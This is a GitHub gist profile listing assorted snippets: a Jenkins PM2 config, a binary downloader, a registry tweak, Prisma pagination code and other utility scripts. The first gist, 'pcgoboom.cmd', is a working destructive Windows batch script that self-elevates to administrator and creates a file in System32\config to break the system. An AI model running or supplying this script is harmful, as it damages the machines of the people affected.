Skip to content

Instantly share code, notes, and snippets.

View Alex4386's full-sized avatar
๐Ÿ’ญ
์กธ์—…์‹œ์ผœ์ค˜

Sanghee Park Alex4386

๐Ÿ’ญ
์กธ์—…์‹œ์ผœ์ค˜
View GitHub Profile
@Alex4386
Alex4386 / pcgoboom.cmd
Created August 7, 2025 15:01
PC go boom
@echo off
:: Self-elevate using PowerShell if not running as admin
net session >nul 2>&1
if %errorlevel% neq 0 (
powershell -Command "Start-Process '%~f0' -Verb RunAs"
exit /b
)
:: Create a file (not a directory) at the specified system path
copy /y nul "%SystemRoot%\System32\config\OSDATA" >nul 2>&1
@Alex4386
Alex4386 / jenkins-agent.ecosystem.config.js
Last active May 7, 2025 10:16
PM2 ecosystem.config.js for Jenkins Agent
try {
require('dotenv').config();
} catch(e) {
console.error('dotenv not found');
process.exit(1);
}
const os = require('os');
const path = require('path');
@Alex4386
Alex4386 / stat-pkg.sh
Last active February 24, 2025 09:30
Shell script for downloading static binaries
#!/bin/bash
# Base URL for the repository
BASE_URL="https://github.com/polaco1782/linux-static-binaries/raw/refs/heads/master"
# Check if ~/.local/bin is in the PATH environment variable
if [[ ":$PATH:" != *":$HOME/.local/bin:"* ]]; then
echo "Error: ~/.local/bin is not in your PATH. Please add it by running:"
echo "export PATH=\$HOME/.local/bin:\$PATH"
exit 1
@Alex4386
Alex4386 / disable-bing.bat
Created September 8, 2024 02:54
Disable Windows Search Bloat
@echo off
reg add HKCU\Software\Policies\Microsoft\Windows /v DisdableSearchBoxSuggestions /t REG_DWORD /d 1
@Alex4386
Alex4386 / 10-kernel-pin
Last active May 6, 2025 03:34
RaspberryPi Prevent bump up from Kernel 5.10 (Place this at /etc/apt/preferences.d) - for Introduction to Internet of Things: Wi-Fi Sensing via nexmon
Package: raspberrypi-kernel
Pin: version 1:1.20220120-1
Pin-Priority: 9999
@Alex4386
Alex4386 / LICENSE
Last active April 14, 2024 23:37
Touhou Project Derivative Works Guidelines in "License Speak" for "Programmers"
Touhou Project Derivative Works License for Doujin Projects
Note: This is not an official translation/condoned by the
copyright holder, ZUN. Please refer to official webpage
page for more information available at here:
https://touhou-project.news/guidelines_en/
This reflects the Derivative works guidelines available at
2024-04-13 and in English version. But might have several
misinterpretations. Take this License file with a grain of salt
@Alex4386
Alex4386 / remove-k-backdoor.sh
Last active March 14, 2024 02:07
Remove Korean "Backdoors" from your macOS
#!/bin/bash
echo K-Backdoor Remover
echo by Alex4386
if [ -d "/Applications/AhnLab/ASTx" ]; then
echo Remove AhnLab unSafe Transaction:
cd /Applications/AhnLab/ASTx/
open Uninstaller.app
fi
@Alex4386
Alex4386 / notify.json
Created February 27, 2024 09:59
WebNotification ํ…Œ์ŠคํŠธ
{
"title": "์™€! ์ƒŒ์ฆˆ!",
"options": {
"body": "์–ธ๋”ํ…Œ์ผ ์•„์‹œ๋Š”๊ตฌ๋‚˜! ํ˜น์‹œ ๋ชจ๋ฅด์‹œ๋Š”๋ถ„๋“ค์— ๋Œ€ํ•ด ์„ค๋ช…ํ•ด๋“œ๋ฆฝ๋‹ˆ๋‹ค ์ƒŒ์ฆˆ๋ž‘ ์–ธ๋”ํ…Œ์ผ์˜ ์„ธ๊ฐ€์ง€ ์—”๋”ฉ๋ฃจํŠธ์ค‘ ๋ชฐ์‚ด์—”๋”ฉ์˜ ์ตœ์ข…๋ณด์Šค๋กœ ์ง„.์งœ.๊ฒ.๋‚˜.์–ด.๋ ต.์Šต.๋‹ˆ.๋‹ค ๊ณต๊ฒฉ์€ ์ „๋ถ€๋‹ค ํšŒํ”ผํ•˜๊ณ  ๋งŒํ”ผ๊ฐ€ 92์ธ๋ฐ ์ƒŒ์ฆˆ์˜ ๊ณต๊ฒฉ์€ 1์ดˆ๋‹น 60์ด ๋‹ค๋Š”๋ฐ๋‹ค๊ฐ€ ๋…๋Ž€๊นŒ์ง€ ์ถ”๊ฐ€๋กœ ๋ถ™์–ด์žˆ์Šต๋‹ˆ๋‹ค.. ํ•˜์ง€๋งŒ ์ด๋Ÿฌ๋ฉด ์ ˆ๋Œ€๋กœ ๊ฒŒ์ž„์„ ๊นฐ ์ˆ˜ ๊ฐ€์—†์œผ๋‹ˆ ์ œ์ž‘์ง„์ด ์น˜๋ช…์ ์ธ ์•ฝ์ ์„ ๋งŒ๋“ค์—ˆ์ฃ . ์ƒŒ์ฆˆ์˜ ์น˜๋ช…์ ์ธ ์•ฝ์ ์ด ๋ฐ”๋กœ ์ง€์นœ๋‹ค๋Š”๊ฒƒ์ž…๋‹ˆ๋‹ค. ํŒจํ„ด๋“ค์„ ๋‹ค ๊ฒฌ๋””๊ณ ๋‚˜๋ฉด ์ง€์ณ์„œ ์ž์‹ ์˜ ํ„ด์„ ์œ ์ง€ํ•œ์ฑ„๋กœ ์ž ์—๋“ญ๋‹ˆ๋‹ค. ํ•˜์ง€๋งŒ ์ž ์ด๋“ค์—ˆ์„๋•Œ ์ฐฝ์„์˜ฎ๊ฒจ์„œ ๊ณต๊ฒฉ์„ ์‹œ๋„ํ•˜๊ณ  ์ƒŒ์ฆˆ๋Š” 1์ฐจ๊ณต๊ฒฉ์€ ํ”ผํ•˜์ง€๋งŒ ๊ทธ ํ›„์— ๋ฐ”๋กœ๋‚ ์•„์˜ค๋Š” 2์ฐจ ๊ณต๊ฒฉ์„ ๋งž๊ณ  ์ฃฝ์Šต๋‹ˆ๋‹ค.",
"icon": "https://images-wixmp-ed30a86b8c4ca887773594c2.wixmp.com/f/c3c992cc-63ed-4d82-9931-27612c27da52/d9udxh2-7e15ae0e-3796-4747-9263-5257949fa56c.png/v1/fill/w_1024,h_1024/sans_s_face__high_resolution_render__by_axis_strike_d9udxh2-fullview.png?token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1cm46YXBwOjdlMGQxODg5ODIyNjQzNzNhNWYwZDQxNWVhMGQyNmUwIiwiaXNzIjoidXJuOmFwcDo3ZTBkMTg4OTgyMjY0MzczYTVmMGQ0MTVlYTBkMjZlMCIsIm9iaiI6W1t7ImhlaWdodCI6Ijw9MTAyNCIsInBhdGgiOiJcL2ZcL2MzYzk5MmNjLTYzZWQtNGQ4Mi05OTMxLTI3NjEyYzI3ZGE1MlwvZDl1ZHhoMi03ZTE1YWUwZS0zNzk2LTQ3NDctOTI2My01MjU3OTQ5ZmE1NmMucG5nIiwid2lkdGgiOiI8PTEwMjQifV1dLCJhdWQiOlsidXJuOnNlcnZpY2U6aW1
@Alex4386
Alex4386 / prisma.ts
Created February 26, 2024 10:55
Prisma Pagination Stuff
import { PrismaClient } from '@prisma/client';
import { FastifyRequest } from 'fastify';
import { getPaginationDataFromRequest } from './mysql';
type PrismaQueryTargetsRaw = Omit<PrismaClient, `$${string}`>;
type PrismaQueryTargets = {
[K in keyof PrismaQueryTargetsRaw as K extends symbol ? never : K]: PrismaQueryTargetsRaw[K];
};
type PrismaQueryTarget = PrismaQueryTargets[keyof PrismaQueryTargets];
@Alex4386
Alex4386 / date.sh
Created January 9, 2024 12:22
Set date from google
#!/bin/bash
date -s "$(curl -s --head http://google.com | grep ^Date: | sed 's/Date: //g')"